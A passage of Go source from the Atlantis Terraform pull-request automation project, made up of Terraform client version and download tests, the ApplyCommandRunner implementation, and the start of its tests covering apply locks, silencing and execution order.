"0.11.10", c.DefaultVersion().String()) output, err := c.RunCommandWithVersion(ctx, tmp, []string{"terraform", "init"}, map[string]string{}, distribution, nil, "") Ok(t, err) Equals(t, fakeBinOut+"\n", output) } // Test that if the default-tf flag is set and that binary is in our download // bin dir that we use it. func TestNewClient_DefaultTFFlagInBinDir(t *testing.T) { fakeBinOut := "Terraform v0.11.10\n" tmp, binDir, cacheDir := mkSubDirs(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Workspace: "default", RepoRelDir: ".", } // Add our fake binary to {datadir}/bin/terraform{version}. err := os.WriteFile(filepath.Join(binDir, "terraform0.11.10"), fmt.Appendf(nil, "#!/bin/sh\necho '%s'", fakeBinOut), 0700) // #nosec G306 Ok(t, err) defer tempSetEnv(t, "PATH", fmt.Sprintf("%s:%s", tmp, os.Getenv("PATH")))() mockDownloader := mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) c, err := tfclient.NewClient(logging.NewNoopLogger(t), distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) Ok(t, err) Ok(t, err) Equals(t, "0.11.10", c.DefaultVersion().String()) output, err := c.RunCommandWithVersion(ctx, tmp, []string{"terraform", "init"}, map[string]string{}, distribution, nil, "") Ok(t, err) Equals(t, fakeBinOut+"\n", output) } // Test that if we don't have that version of TF that we download it. func TestNewClient_DefaultTFFlagDownload(t *testing.T) { RegisterMockTestingT(t) logger := logging.NewNoopLogger(t) tmp, binDir, cacheDir := mkSubDirs(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Workspace: "default", RepoRelDir: ".", } // Set PATH to empty so there's no TF available. orig := os.Getenv("PATH") defer tempSetEnv(t, "PATH", "")() mockDownloader := mocks.NewMockDownloader() When(mockDownloader.Install(Any[context.Context](), Any[string](), Any[string](), Any[*version.Version]())).Then(func(params []Param) ReturnValues { binPath := filepath.Join(params[1].(string), "terraform0.11.10") err := os.WriteFile(binPath, []byte("#!/bin/sh\necho '\nTerraform v0.11.10\n'"), 0700) // #nosec G306 return []ReturnValue{binPath, err} }) distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) c, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) Ok(t, err) Ok(t, err) Equals(t, "0.11.10", c.DefaultVersion().String()) mockDownloader.VerifyWasCalledEventually(Once(), 2*time.Second).Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, version.Must(version.NewVersion("0.11.10"))) // Reset PATH so that it has sh. Ok(t, os.Setenv("PATH", orig)) output, err := c.RunCommandWithVersion(ctx, tmp, []string{"terraform", "init"}, map[string]string{}, distribution, nil, "") Ok(t, err) Equals(t, "\nTerraform v0.11.10\n\n", output) } // Test that we get an error if the terraform version flag is malformed. func TestNewClient_BadVersion(t *testing.T) { logger := logging.NewNoopLogger(t) _, binDir, cacheDir := mkSubDirs(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() mockDownloader := mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) _, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "malformed", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) ErrEquals(t, "Malformed version: malformed", err) } // Test that if we run a command with a version we don't have, we download it. func TestRunCommandWithVersion_DLsTF(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) tmp, binDir, cacheDir := mkSubDirs(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Workspace: "default", RepoRelDir: ".", } v, err := version.NewVersion("99.99.99") Ok(t, err) mockDownloader := mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) // Set up our mock downloader to write a fake tf binary when it's called. When(mockDownloader.Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, v)).Then(func(params []Param) ReturnValues { binPath := filepath.Join(params[1].(string), "terraform99.99.99") err := os.WriteFile(binPath, []byte("#!/bin/sh\necho '\nTerraform v99.99.99\n'"), 0700) // #nosec G306 return []ReturnValue{binPath, err} }) c, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) Ok(t, err) Equals(t, "0.11.10", c.DefaultVersion().String()) output, err := c.RunCommandWithVersion(ctx, tmp, []string{"terraform", "init"}, map[string]string{}, distribution, v, "") Assert(t, err == nil, "err: %s: %s", err, output) Equals(t, "\nTerraform v99.99.99\n\n", output) } // Test that EnsureVersion downloads terraform. func TestEnsureVersion_downloaded(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) _, binDir, cacheDir := mkSubDirs(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() mockDownloader := mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) downloadsAllowed := true c, err := tfclient.NewTestClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, downloadsAllowed, true, projectCmdOutputHandler) Ok(t, err) Equals(t, "0.11.10", c.DefaultVersion().String()) v, err := version.NewVersion("99.99.99") Ok(t, err) When(mockDownloader.Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, v)).Then(func(params []Param) ReturnValues { binPath := filepath.Join(params[1].(string), "terraform99.99.99") err := os.WriteFile(binPath, []byte("#!/bin/sh\necho '\nTerraform v99.99.99\n'"), 0700) // #nosec G306 return []ReturnValue{binPath, err} }) err = c.EnsureVersion(logger, distribution, v) Ok(t, err) mockDownloader.VerifyWasCalledEventually(Once(), 2*time.Second).Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, v) } // Test that EnsureVersion downloads terraform from a custom URL. func TestEnsureVersion_downloaded_customURL(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) _, binDir, cacheDir := mkSubDirs(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() mockDownloader := mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) downloadsAllowed := true customURL := "http://releases.example.com" c, err := tfclient.NewTestClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, customURL, downloadsAllowed, true, projectCmdOutputHandler) Ok(t, err) Equals(t, "0.11.10", c.DefaultVersion().String()) v, err := version.NewVersion("99.99.99") Ok(t, err) When(mockDownloader.Install(context.Background(), binDir, customURL, v)).Then(func(params []Param) ReturnValues { binPath := filepath.Join(params[1].(string), "terraform99.99.99") err := os.WriteFile(binPath, []byte("#!/bin/sh\necho '\nTerraform v99.99.99\n'"), 0700) // #nosec G306 return []ReturnValue{binPath, err} }) err = c.EnsureVersion(logger, distribution, v) Ok(t, err) mockDownloader.VerifyWasCalledEventually(Once(), 2*time.Second).Install(context.Background(), binDir, customURL, v) } // Test that EnsureVersion throws an error when downloads are disabled func TestEnsureVersion_downloaded_downloadingDisabled(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) _, binDir, cacheDir := mkSubDirs(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() mockDownloader := mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) downloadsAllowed := false c, err := tfclient.NewTestClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, downloadsAllowed, true, projectCmdOutputHandler) Ok(t, err) Equals(t, "0.11.10", c.DefaultVersion().String()) v, err := version.NewVersion("99.99.99") Ok(t, err) err = c.EnsureVersion(logger, distribution, v) ErrContains(t, "could not find terraform version", err) ErrContains(t, "downloads are disabled", err) mockDownloader.VerifyWasCalled(Never()) } // tempSetEnv sets env var key to value. It returns a function that when called // will reset the env var to its original value. func tempSetEnv(t *testing.T, key string, value string) func() { orig := os.Getenv(key) Ok(t, os.Setenv(key, value)) return func() { os.Setenv(key, orig) } } // returns parent, bindir, cachedir func mkSubDirs(t *testing.T) (string, string, string) { tmp := t.TempDir() binDir := filepath.Join(tmp, "bin") err := os.MkdirAll(binDir, 0700) Ok(t, err) cachedir := filepath.Join(tmp, "plugin-cache") err = os.MkdirAll(cachedir, 0700) Ok(t, err) return tmp, binDir, cachedir } // If TF downloads are disabled, test that terraform version is used when specified in terraform configuration only if an exact version func TestDefaultProjectCommandBuilder_TerraformVersion(t *testing.T) { // For the following tests: // If terraform configuration is used, result should be `0.12.8`. // If project configuration is used, result should be `0.12.6`. // If an inexact version is used, the result should be `nil` // If default is to be used, result should be `nil`. baseVersionConfig := ` terraform { required_version = "%s" } ` // Depending on when the tests are run, the > and >= matching versions will have to be increased. // It's probably not worth testing the terraform-switcher version here so we only test <, <=, and ~>. // One way to test this in the future is to mock tfswitcher.GetTFList() to return the highest // version of 1.3.5. expectedVersions := map[string]string{ "= 0.12.8": "0.12.8", "< 0.12.8": "0.12.7", "<= 0.12.8": "0.12.8", "~> 0.12.8": "0.12.31", "= 1.0.0": "1.0.0", "< 1.0.0": "0.15.5", "<= 1.0.0": "1.0.0", "~> 1.0.0": "1.0.11", "= 1.0": "1.0.0", "< 1.0": "0.15.5", "<= 1.0": "1.0.0", // cannot use ~> 1.3 or ~> 1.0 since that is a moving target since it will always // resolve to the latest terraform 1.x "~> 1.3.0": "1.3.10", } type testCase struct { DirStructure map[string]any Exp map[string]string IsExact bool } testCases := make(map[string]testCase) for version, expected := range expectedVersions { testCases[fmt.Sprintf("version using \"%s\"", version)] = testCase{ DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": fmt.Sprintf(baseVersionConfig, version), }, }, Exp: map[string]string{ "project1": expected, }, IsExact: version[0] == "="[0], } } testCases["no version specified"] = testCase{ DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": nil, }, }, Exp: map[string]string{ "project1": "", }, IsExact: true, } testCases["projects with different terraform versions"] = testCase{ DirStructure: map[string]any{ "project1": map[string]any{ "main.tf": fmt.Sprintf(baseVersionConfig, "= 0.12.8"), }, "project2": map[string]any{ "main.tf": strings.ReplaceAll(fmt.Sprintf(baseVersionConfig, "= 0.12.8"), "0.12.8", "0.12.9"), }, }, Exp: map[string]string{ "project1": "0.12.8", "project2": "0.12.9", }, IsExact: true, } runDetectVersionTestCase := func(t *testing.T, name string, testCase testCase, downloadsAllowed bool) bool { return t.Run(name, func(t *testing.T) { RegisterMockTestingT(t) logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) _, binDir, cacheDir := mkSubDirs(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() mockDownloader := mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) c, err := tfclient.NewTestClient( logger, distribution, binDir, cacheDir, "", "", "", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, downloadsAllowed, true, projectCmdOutputHandler) Ok(t, err) tmpDir := DirStructure(t, testCase.DirStructure) for project, expectedVersion := range testCase.Exp { detectedVersion := c.DetectVersion(logger, filepath.Join(tmpDir, project)) expectNil := expectedVersion == "" || (!testCase.IsExact && !downloadsAllowed) if expectNil { Assert(t, detectedVersion == nil, "TerraformVersion is supposed to be nil.") } else { Assert(t, detectedVersion != nil, "TerraformVersion is nil.") Ok(t, err) Equals(t, expectedVersion, detectedVersion.String()) } } }) } for name, testCase := range testCases { runDetectVersionTestCase(t, name+": Downloads Allowed", testCase, true) runDetectVersionTestCase(t, name+": Downloads Disabled", testCase, false) } } func TestExtractExactRegex(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) _, binDir, cacheDir := mkSubDirs(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() mockDownloader := mocks.NewMockDownloader() distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) c, err := tfclient.NewTestClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) Ok(t, err) tests := []struct { version string want []string }{ {"= 1.2.3", []string{"1.2.3"}}, {"=1.2.3", []string{"1.2.3"}}, {"1.2.3", []string{"1.2.3"}}, {"v1.2.3", nil}, {">= 1.2.3", nil}, {">=1.2.3", nil}, {"<= 1.2.3", nil}, {"<=1.2.3", nil}, {"~> 1.2.3", nil}, } for _, tt := range tests { t.Run(tt.version, func(t *testing.T) { if got := c.ExtractExactRegex(logger, tt.version); !reflect.DeepEqual(got, tt.want) { t.Errorf("ExtractExactRegex() = %v, want %v", got, tt.want) } }) } } ================================================ FILE: server/events/apply_command_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "github.com/runatlantis/atlantis/server/core/db" "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" ) func NewApplyCommandRunner( vcsClient vcs.Client, disableApplyAll bool, applyCommandLocker locking.ApplyLockChecker, commitStatusUpdater CommitStatusUpdater, prjCommandBuilder ProjectApplyCommandBuilder, prjCmdRunner ProjectApplyCommandRunner, cancellationTracker CancellationTracker, autoMerger *AutoMerger, pullUpdater *PullUpdater, dbUpdater *DBUpdater, database db.Database, parallelPoolSize int, SilenceNoProjects bool, silenceVCSStatusNoProjects bool, pullReqStatusFetcher vcs.PullReqStatusFetcher, ) *ApplyCommandRunner { return &ApplyCommandRunner{ vcsClient: vcsClient, DisableApplyAll: disableApplyAll, locker: applyCommandLocker, commitStatusUpdater: commitStatusUpdater, prjCmdBuilder: prjCommandBuilder, prjCmdRunner: prjCmdRunner, cancellationTracker: cancellationTracker, autoMerger: autoMerger, pullUpdater: pullUpdater, dbUpdater: dbUpdater, Database: database, parallelPoolSize: parallelPoolSize, SilenceNoProjects: SilenceNoProjects, silenceVCSStatusNoProjects: silenceVCSStatusNoProjects, pullReqStatusFetcher: pullReqStatusFetcher, } } type ApplyCommandRunner struct { DisableApplyAll bool Database db.Database locker locking.ApplyLockChecker vcsClient vcs.Client commitStatusUpdater CommitStatusUpdater prjCmdBuilder ProjectApplyCommandBuilder prjCmdRunner ProjectApplyCommandRunner cancellationTracker CancellationTracker autoMerger *AutoMerger pullUpdater *PullUpdater dbUpdater *DBUpdater parallelPoolSize int pullReqStatusFetcher vcs.PullReqStatusFetcher // SilenceNoProjects is whether Atlantis should respond to PRs if no projects // are found SilenceNoProjects bool // SilenceVCSStatusNoPlans is whether any plan should set commit status if no projects // are found silenceVCSStatusNoProjects bool SilencePRComments []string } func (a *ApplyCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) { var err error baseRepo := ctx.Pull.BaseRepo pull := ctx.Pull locked, err := a.IsLocked() // CheckApplyLock falls back to AllowedCommand flag if fetching the lock // raises an error // We will log failure as warning if err != nil { ctx.Log.Warn("checking global apply lock: %s", err) } if locked { ctx.Log.Info("ignoring apply command since apply disabled globally") if err := a.vcsClient.CreateComment(ctx.Log, baseRepo, pull.Num, applyDisabledComment, command.Apply.String()); err != nil { ctx.Log.Err("unable to comment on pull request: %s", err) } return } if a.DisableApplyAll && !cmd.IsForSpecificProject() { ctx.Log.Info("ignoring apply command without flags since apply all is disabled") if err := a.vcsClient.CreateComment(ctx.Log, baseRepo, pull.Num, applyAllDisabledComment, command.Apply.String()); err != nil { ctx.Log.Err("unable to comment on pull request: %s", err) } return } // Get the mergeable status before we set any build statuses of our own. // We do this here because when we set a "Pending" status, if users have // required the Atlantis status checks to pass, then we've now changed // the mergeability status of the pull request. // This sets the approved, mergeable, and sqlocked status in the context. ctx.PullRequestStatus, err = a.pullReqStatusFetcher.FetchPullStatus(ctx.Log, pull) if err != nil { // On error we continue the request with mergeable assumed false. // We want to continue because not all apply's will need this status, // only if they rely on the mergeability requirement. // All PullRequestStatus fields are set to false by default when error. ctx.Log.Warn("unable to get pull request status: %s. Continuing with mergeable and approved assumed false", err) } var projectCmds []command.ProjectContext projectCmds, err = a.prjCmdBuilder.BuildApplyCommands(ctx, cmd) if err != nil { if statusErr := a.commitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, cmd.CommandName()); statusErr != nil { ctx.Log.Warn("unable to update commit status: %s", statusErr) } a.pullUpdater.updatePull(ctx, cmd, command.Result{Error: err}) return } // If there are no projects to apply, don't respond to the PR and ignore if len(projectCmds) == 0 && a.SilenceNoProjects { ctx.Log.Info("determined there was no project to run plan in") if !a.silenceVCSStatusNoProjects { if cmd.IsForSpecificProject() { // With a specific apply, just reset the status so it's not stuck in pending state pullStatus, err := a.Database.GetPullStatus(pull) if err != nil { ctx.Log.Warn("unable to fetch pull status: %s", err) return } if pullStatus == nil { // default to 0/0 ctx.Log.Debug("setting VCS status to 0/0 success as no previous state was found") if err := a.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } return } ctx.Log.Debug("resetting VCS status") a.updateCommitStatus(ctx, *pullStatus) } else { // With a generic apply, we set successful commit statuses // with 0/0 projects planned successfully because some users require // the Atlantis status to be passing for all pull requests. // Does not apply to skipped runs for specific projects ctx.Log.Debug("setting VCS status to success with no projects found") if err := a.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } } } return } result := runProjectCmdsWithCancellationTracker(ctx, projectCmds, a.cancellationTracker, a.parallelPoolSize, a.isParallelEnabled(projectCmds), a.prjCmdRunner.Apply) ctx.CommandHasErrors = result.HasErrors() a.pullUpdater.updatePull( ctx, cmd, result) pullStatus, err := a.dbUpdater.updateDB(ctx, pull, result.ProjectResults) if err != nil { ctx.Log.Err("writing results: %s", err) return } a.updateCommitStatus(ctx, pullStatus) if a.autoMerger.automergeEnabled(projectCmds) && !cmd.AutoMergeDisabled { a.autoMerger.automerge(ctx, pullStatus, a.autoMerger.deleteSourceBranchOnMergeEnabled(projectCmds), cmd.AutoMergeMethod) } } func (a *ApplyCommandRunner) IsLocked() (bool, error) { lock, err := a.locker.CheckApplyLock() return lock.Locked, err } func (a *ApplyCommandRunner) isParallelEnabled(projectCmds []command.ProjectContext) bool { return len(projectCmds) > 0 && projectCmds[0].ParallelApplyEnabled } func (a *ApplyCommandRunner) updateCommitStatus(ctx *command.Context, pullStatus models.PullStatus) { var numSuccess int var numErrored int status := models.SuccessCommitStatus numSuccess = pullStatus.StatusCount(models.AppliedPlanStatus) + pullStatus.StatusCount(models.PlannedNoChangesPlanStatus) numErrored = pullStatus.StatusCount(models.ErroredApplyStatus) if numErrored > 0 { status = models.FailedCommitStatus } else if numSuccess < len(pullStatus.Projects) { // If there are plans that haven't been applied yet, we'll use a pending // status. status = models.PendingCommitStatus } if err := a.commitStatusUpdater.UpdateCombinedCount( ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, status, command.Apply, numSuccess, len(pullStatus.Projects), ); err != nil { ctx.Log.Warn("unable to update commit status: %s", err) } } // applyAllDisabledComment is posted when apply all commands (i.e. "atlantis apply") // are disabled and an apply all command is issued. var applyAllDisabledComment = "**Error:** Running `atlantis apply` without flags is disabled." + " You must specify which project to apply via the `-d `, `-w ` or `-p ` flags." // applyDisabledComment is posted when apply commands are disabled globally and an apply command is issued. var applyDisabledComment = "**Error:** Running `atlantis apply` is disabled." ================================================ FILE: server/events/apply_command_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "errors" "testing" "github.com/google/go-github/v83/github" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/boltdb" "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/models/testdata" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics/metricstest" . "github.com/runatlantis/atlantis/testing" "github.com/stretchr/testify/require" ) func TestApplyCommandRunner_IsLocked(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) cases := []struct { Description string ApplyLocked bool ApplyLockError error ExpComment string }{ { Description: "When global apply lock is present IsDisabled returns true", ApplyLocked: true, ApplyLockError: nil, ExpComment: "**Error:** Running `atlantis apply` is disabled.", }, { Description: "When no global apply lock is present IsDisabled returns false", ApplyLocked: false, ApplyLockError: nil, ExpComment: "Ran Apply for 0 projects:", }, { Description: "If ApplyLockChecker returns an error IsDisabled returns false", ApplyLockError: errors.New("error"), ApplyLocked: false, ExpComment: "Ran Apply for 0 projects:", }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { vcsClient := setup(t, func(tc *TestConfig) { tc.applyLockCheckerReturn = locking.ApplyCommandLock{Locked: c.ApplyLocked} tc.applyLockCheckerErr = c.ApplyLockError }) scopeNull := metricstest.NewLoggingScope(t, logger, "atlantis") pull := &github.PullRequest{ State: github.Ptr("open"), } modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} When(githubGetter.GetPullRequest(logger, testdata.GithubRepo, testdata.Pull.Num)).ThenReturn(pull, nil) When(eventParsing.ParseGithubPull(logger, pull)).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) ctx := &command.Context{ User: testdata.User, Log: logging.NewNoopLogger(t), Scope: scopeNull, Pull: modelPull, HeadRepo: testdata.GithubRepo, Trigger: command.CommentTrigger, } applyCommandRunner.Run(ctx, &events.CommentCommand{Name: command.Apply}) vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(c.ExpComment), Eq("apply")) }) } } func TestApplyCommandRunner_IsSilenced(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) cases := []struct { Description string Matched bool Targeted bool VCSStatusSilence bool PrevApplyStored bool // stores a 1/1 passing apply in the database ExpVCSStatusSet bool ExpVCSStatusTotal int ExpVCSStatusSucc int ExpSilenced bool }{ { Description: "When applying, don't comment but set the 0/0 VCS status", ExpVCSStatusSet: true, ExpSilenced: true, }, { Description: "When applying with any previous apply's, don't comment but set the 0/0 VCS status", PrevApplyStored: true, ExpVCSStatusSet: true, ExpSilenced: true, }, { Description: "When applying with unmatched target, don't comment but set the 0/0 VCS status", Targeted: true, ExpVCSStatusSet: true, ExpSilenced: true, }, { Description: "When applying with unmatched target and any previous apply's, don't comment and maintain VCS status", Targeted: true, PrevApplyStored: true, ExpVCSStatusSet: true, ExpSilenced: true, ExpVCSStatusSucc: 1, ExpVCSStatusTotal: 1, }, { Description: "When applying with silenced VCS status, don't do anything", VCSStatusSilence: true, ExpVCSStatusSet: false, ExpSilenced: true, }, { Description: "When applying with matching projects, comment as usual", Matched: true, ExpVCSStatusSet: true, ExpSilenced: false, ExpVCSStatusSucc: 1, ExpVCSStatusTotal: 1, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { // create an empty DB tmp := t.TempDir() db, err := boltdb.New(tmp) t.Cleanup(func() { db.Close() }) Ok(t, err) vcsClient := setup(t, func(tc *TestConfig) { tc.SilenceNoProjects = true tc.silenceVCSStatusNoProjects = c.VCSStatusSilence tc.database = db }) scopeNull := metricstest.NewLoggingScope(t, logger, "atlantis") modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} cmd := &events.CommentCommand{Name: command.Apply} if c.Targeted { cmd.RepoRelDir = "mydir" } ctx := &command.Context{ User: testdata.User, Log: logging.NewNoopLogger(t), Scope: scopeNull, Pull: modelPull, HeadRepo: testdata.GithubRepo, Trigger: command.CommentTrigger, } if c.PrevApplyStored { _, err = db.UpdatePullWithResults(modelPull, []command.ProjectResult{ { Command: command.Apply, RepoRelDir: "prevdir", Workspace: "default", }, }) Ok(t, err) } When(projectCommandBuilder.BuildApplyCommands(ctx, cmd)).Then(func(args []Param) ReturnValues { if c.Matched { return ReturnValues{[]command.ProjectContext{{ CommandName: command.Apply, ProjectPlanStatus: models.PlannedPlanStatus, }}, nil} } return ReturnValues{[]command.ProjectContext{}, nil} }) applyCommandRunner.Run(ctx, cmd) timesComment := 1 if c.ExpSilenced { timesComment = 0 } vcsClient.VerifyWasCalled(Times(timesComment)).CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) if c.ExpVCSStatusSet { commitUpdater.VerifyWasCalledOnce().UpdateCombinedCount( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq[models.CommitStatus](models.SuccessCommitStatus), Eq[command.Name](command.Apply), Eq(c.ExpVCSStatusSucc), Eq(c.ExpVCSStatusTotal), ) } else { commitUpdater.VerifyWasCalled(Never()).UpdateCombinedCount( Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[models.CommitStatus](), Eq[command.Name](command.Apply), Any[int](), Any[int](), ) } }) } } func TestApplyCommandRunner_ExecutionOrder(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) cases := []struct { Description string ProjectContexts []command.ProjectContext ProjectCommandOutputs []command.ProjectCommandOutput RunnerInvokeMatch []*EqMatcher ExpComment string ApplyFailed bool }{ { Description: "When first apply fails, the second don't run", ProjectContexts: []command.ProjectContext{ { ExecutionOrderGroup: 0, ProjectName: "First", ParallelApplyEnabled: true, AbortOnExecutionOrderFail: true, }, { ExecutionOrderGroup: 1, ProjectName: "Second", ParallelApplyEnabled: true, AbortOnExecutionOrderFail: true, }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { ApplySuccess: "Great success!", }, { Error: errors.New("shabang"), }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Once(), }, ApplyFailed: true, ExpComment: "Ran Apply for 2 projects:\n\n" + "1. project: `First` dir: `` workspace: ``\n1. project: `Second` dir: `` workspace: ``\n---\n\n### 1. project: `First` dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### 2. project: `Second` dir: `` workspace: ``\n**Apply Error**\n```\nshabang\n```\n\n---\n### Apply Summary\n\n2 projects, 1 successful, 0 failed, 1 errored", }, { Description: "When first apply fails, the second not will run", ProjectContexts: []command.ProjectContext{ { ExecutionOrderGroup: 0, ProjectName: "First", ParallelApplyEnabled: true, AbortOnExecutionOrderFail: true, }, { ExecutionOrderGroup: 1, ProjectName: "Second", ParallelApplyEnabled: true, AbortOnExecutionOrderFail: true, }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { Error: errors.New("shabang"), }, { ApplySuccess: "Great success!", }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Never(), }, ApplyFailed: true, ExpComment: "Ran Apply for project: `First` dir: `` workspace: ``\n\n**Apply Error**\n```\nshabang\n```", }, { Description: "When both in a group of two succeeds, the following two will run", ProjectContexts: []command.ProjectContext{ { ExecutionOrderGroup: 0, ProjectName: "First", ParallelApplyEnabled: true, AbortOnExecutionOrderFail: true, }, { ExecutionOrderGroup: 0, ProjectName: "Second", AbortOnExecutionOrderFail: true, }, { ExecutionOrderGroup: 1, ProjectName: "Third", AbortOnExecutionOrderFail: true, }, { ExecutionOrderGroup: 1, ProjectName: "Fourth", AbortOnExecutionOrderFail: true, }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { ApplySuccess: "Great success!", }, { Error: errors.New("shabang"), }, { ApplySuccess: "Great success!", }, { ApplySuccess: "Great success!", }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Once(), Never(), Never(), }, ApplyFailed: true, ExpComment: "Ran Apply for 2 projects:\n\n" + "1. project: `First` dir: `` workspace: ``\n1. project: `Second` dir: `` workspace: ``\n---\n\n### 1. project: `First` dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### 2. project: `Second` dir: `` workspace: ``\n**Apply Error**\n```\nshabang\n```\n\n---\n### Apply Summary\n\n2 projects, 1 successful, 0 failed, 1 errored", }, { Description: "When one out of two fails, the following two will not run", ProjectContexts: []command.ProjectContext{ { ExecutionOrderGroup: 0, ProjectName: "First", ParallelApplyEnabled: true, AbortOnExecutionOrderFail: true, }, { ExecutionOrderGroup: 0, ProjectName: "Second", AbortOnExecutionOrderFail: true, }, { ExecutionOrderGroup: 1, ProjectName: "Third", AbortOnExecutionOrderFail: true, }, { ExecutionOrderGroup: 1, AbortOnExecutionOrderFail: true, ProjectName: "Fourth", }, }, ProjectCommandOutputs: []command.ProjectCommandOutput{ { ApplySuccess: "Great success!", }, { ApplySuccess: "Great success!", }, { Error: errors.New("shabang"), }, { ApplySuccess: "Great success!", }, }, RunnerInvokeMatch: []*EqMatcher{ Once(), Once(), Once(), Once(), }, ApplyFailed: true, ExpComment: "Ran Apply for 4 projects:\n\n" + "1. project: `First` dir: `` workspace: ``\n1. project: `Second` dir: `` workspace: ``\n1. project: `Third` dir: `` workspace: ``\n1. project: `Fourth` dir: `` workspace: ``\n---\n\n### 1. project: `First` dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### 